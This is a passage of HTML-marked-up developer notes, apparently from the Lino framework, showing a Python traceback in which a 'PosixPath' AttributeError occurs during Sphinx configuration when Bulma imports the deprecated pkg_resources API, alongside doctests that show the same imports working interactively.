  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/django/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;
    &lt;span class="n"&gt;configure_logging&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LOGGING_CONFIG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LOGGING&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/django/conf/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;81&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__getattr__&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/django/conf/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_setup&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_wrapped&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Settings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_module&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/django/conf/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;166&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;
    &lt;span class="n"&gt;mod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;importlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SETTINGS_MODULE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.10/importlib/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;126&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_bootstrap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_gcd_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:],&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1050&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_gcd_import&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1027&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_find_and_load&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1006&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_find_and_load_unlocked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;688&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_load_unlocked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;883&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;exec_module&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;241&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_call_with_frames_removed&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/prima/lino_prima/projects/prima1/settings.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;SITE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Site&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/lino/lino/core/site.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;472&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load_plugins&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/lino/lino/core/site.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;888&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;load_plugins&lt;/span&gt;
    &lt;span class="n"&gt;install_plugin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/lino/lino/core/site.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;837&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;install_plugin&lt;/span&gt;
    &lt;span class="n"&gt;app_mod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.10/importlib/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;126&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_bootstrap&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_gcd_import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;:],&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1050&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_gcd_import&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1027&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_find_and_load&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1006&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_find_and_load_unlocked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;688&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_load_unlocked&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;883&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;exec_module&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;241&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_call_with_frames_removed&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/bulma/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pkg_resources&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;get_distribution&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DistributionNotFound&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/pkg_resources/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;3668&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;_initialize_master_working_set&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/pkg_resources/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;3651&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_call_aside&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/pkg_resources/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;3680&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_initialize_master_working_set&lt;/span&gt;
    &lt;span class="n"&gt;working_set&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_declare_state&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;object&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;working_set&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WorkingSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_build_master&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/pkg_resources/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;647&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_build_master&lt;/span&gt;
    &lt;span class="n"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/pkg_resources/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;640&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_entry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/pkg_resources/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;696&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;add_entry&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;dist&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;find_distributions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/pkg_resources/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;2276&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;find_distributions&lt;/span&gt;
    &lt;span class="n"&gt;importer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_importer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path_item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.10/pkgutil.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;421&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_importer&lt;/span&gt;
    &lt;span class="n"&gt;importer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;path_hook&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path_item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1632&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;path_hook_for_FileFinder&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1504&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;182&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_path_isabs&lt;/span&gt;
&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PosixPath&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;startswith&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It happens when the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.sphinxcontrib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt;
&lt;span class="n"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lino_prima.projects.prima1.settings&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Or more precisely when &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.sphinxcontrib.html#lino.sphinxcontrib.configure" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.sphinxcontrib.configure()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; calls
&lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#lino.startup" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.startup()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. But the error does not occur when I do this in an
interactive normal Python session:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lino_prima.projects.prima1.settings&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;importlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;import_module&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bulma&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;module &amp;#39;bulma&amp;#39; from &amp;#39;/home/luc/venvs/dev/lib/python3.10/site-packages/bulma/__init__.py&amp;#39;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It might have to do with the fact that Bulma uses &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;pkg_resources&lt;/span&gt;&lt;/code&gt; as an API,
which is deprecated:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pkg_resources&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;get_distribution&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DistributionNotFound&lt;/span&gt;
